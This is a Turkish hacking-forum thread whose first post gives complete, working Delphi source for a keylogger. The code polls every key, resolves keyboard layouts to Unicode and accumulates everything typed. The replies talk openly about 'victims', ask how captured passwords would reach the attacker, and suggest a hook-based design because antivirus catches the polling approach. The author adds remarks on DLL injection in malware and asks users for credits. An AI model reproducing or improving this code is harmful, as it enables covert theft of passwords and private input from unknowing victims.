Delphi - Unicode Keylogger
-
unit UnitKeyLogger;
interface
uses
Windows,Classes;
type
TUnicodeKeylogger = class(TThread)
private
{ Private declarations }
public
FActiveBackSpace:Boolean;
FullLogData : String;
function IsKeyPressed(KeyCode: Integer): Boolean;
procedure AddKey(StrKey: String);
protected
procedure Execute; override;
end;
implementation
procedure TUnicodeKeylogger.AddKey(StrKey: String);
begin
FullLogData := FullLogData + StrKey;
Write(StrKey);
end;
function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean;
begin
result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
end;
procedure TUnicodeKeylogger.Execute;
var
VirtKey : UINT;
ScanCode : UINT;
UniEx : Integer;
keyboardLayout : HKL;
keyboardSpeed : Integer;
keyboardState : TKeyboardState;
strBuffer : String;
UnicodeChar : array[0..1] of WChar;
strkeyname : Array[0..32] of Char;
dwThread : DWORD;
dwProcess : DWORD;
dwHandle : HWND;
BEGIN
Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0);
WHILE NOT Terminated DO
BEGIN
Windows.GetKeyState(VK_CAPITAL);
Windows.GetKeyboardState(keyboardState);
dwHandle:= Windows.GetForegroundWindow();
dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess);
keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
FOR VirtKey := 0 TO $FF DO
IF IsKeyPressed(VirtKey) THEN
BEGIN
IF VirtKey = 8 THEN // silmeye basilirsa
BEGIN
IF FActiveBackSpace THEN
BEGIN
Delete(FullLogData, Length(FullLogData), 1);
END
ELSE
BEGIN
Continue;
END;
END;
ScanCode := Windows.MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
Windows.GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
IF Windows.lstrlenA(strkeyname) > 1 THEN
BEGIN
IF VirtKey = VK_SPACE THEN strkeyname := ' '; // bosluk tusu
IF VirtKey = VK_RETURN THEN strkeyname := #13#10; // enter tusu
AddKey(strkeyname);
Continue;
END;
UniEx := Windows.ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
strBuffer := UnicodeChar;
SetLength(strBuffer,UniEx);
AddKey(strBuffer);
END;
Sleep(keyboardSpeed DIV 4);
END;
END;
END.
program Lib;
{$APPTYPE CONSOLE}
uses
Windows,
UnitKeyLogger in 'UnitKeyLogger.pas';
VAR
Msg : TMsg;
Keylogger:TUnicodeKeylogger ;
LangID : Cardinal;
begin
{ TODO -oUser -cConsole Main : Insert code here }
LangID:=Windows.GetUserDefaultLangID;
Windows.SetThreadLocale(LangID);
Keylogger:=TUnicodeKeylogger.Create(False);
Keylogger.Resume;
While Windows.GetMessage(Msg,0,0,0) Do
Begin
Windows.TranslateMessage(Msg);
Windows.DispatchMessageA(Msg);
End;
end. -
Hocam bu for döngüsü içinde keyloggerları avler pek sever, kolay yakalarlar.
Setwindowhookex ile hem daha performanslı hem daha zor yakalanan bişi oluyor, ama dll eklenior projeye
-
logladiktan sonra, nasil bir islem uyguladigini anlamadim?
Yani klavyeden girilen password ve diger islemleri kurbanimiz girdikten ve keyloggeri yedikten sonra bize nasil ulastiracak ?
-
Esconda bunu yazdı
logladiktan sonra, nasil bir islem uyguladigini anlamadim?
Yani klavyeden girilen password ve diger islemleri kurbanimiz girdikten ve keyloggeri yedikten sonra bize nasil ulastiracak ?
bu bitek logger :)
-
HolyOne bunu yazdı
Hocam bu for döngüsü içinde keyloggerları avler pek sever, kolay yakalarlar.
Setwindowhookex ile hem daha performanslı hem daha zor yakalanan bişi oluyor, ama dll eklenior projeye
HolyOne hocam selamlar,
setwindowshookex,callnexthook apisi kullanan bir keylogger unitesi dll injection kullanan bir malwarede calistiramazsiniz.. sebebinin neden kaynaklandigini bilmiyorum ama dll nin direk hddye drop edilmesi gerekmekte. zararli yazilim yazanlar icin dll extract etmek istenmeyen bir durumdur.
benim amacim burada MapVirtualKeyEx,GetKeyNameTextA,ToUnicodeEx we SetThreadLocale apilerinin kullanilmasini gostermekti. Cunku msdn gibi bir bilgi bankasinin varligindan haberi olmayan keylogger yazarlari, her bir keycode icin bir harf atamasi yapiyorlardi, buda hamallikti...
kullananlar warsa credits versin.
saygilar.
-
Hazreti c de mi bilmiyo nedenini ona soraydin :D. Oldukca sacma geldi yanliz ilginc bi hata yapmiyasin?
Daha once dll inject denemedim bu arada.
-
merhaba nessaj,
Tugberk, ufak bisey soylemisti demisti de uzun zaman onceydi hatirlamiyorum herneyse fazla uzatmicam.
C hazretleri linux/embedded system uzerinde calisiyor..saygilar.
wh0 tarafından 14/Kas/12 11:52 tarihinde düzenlenmiştir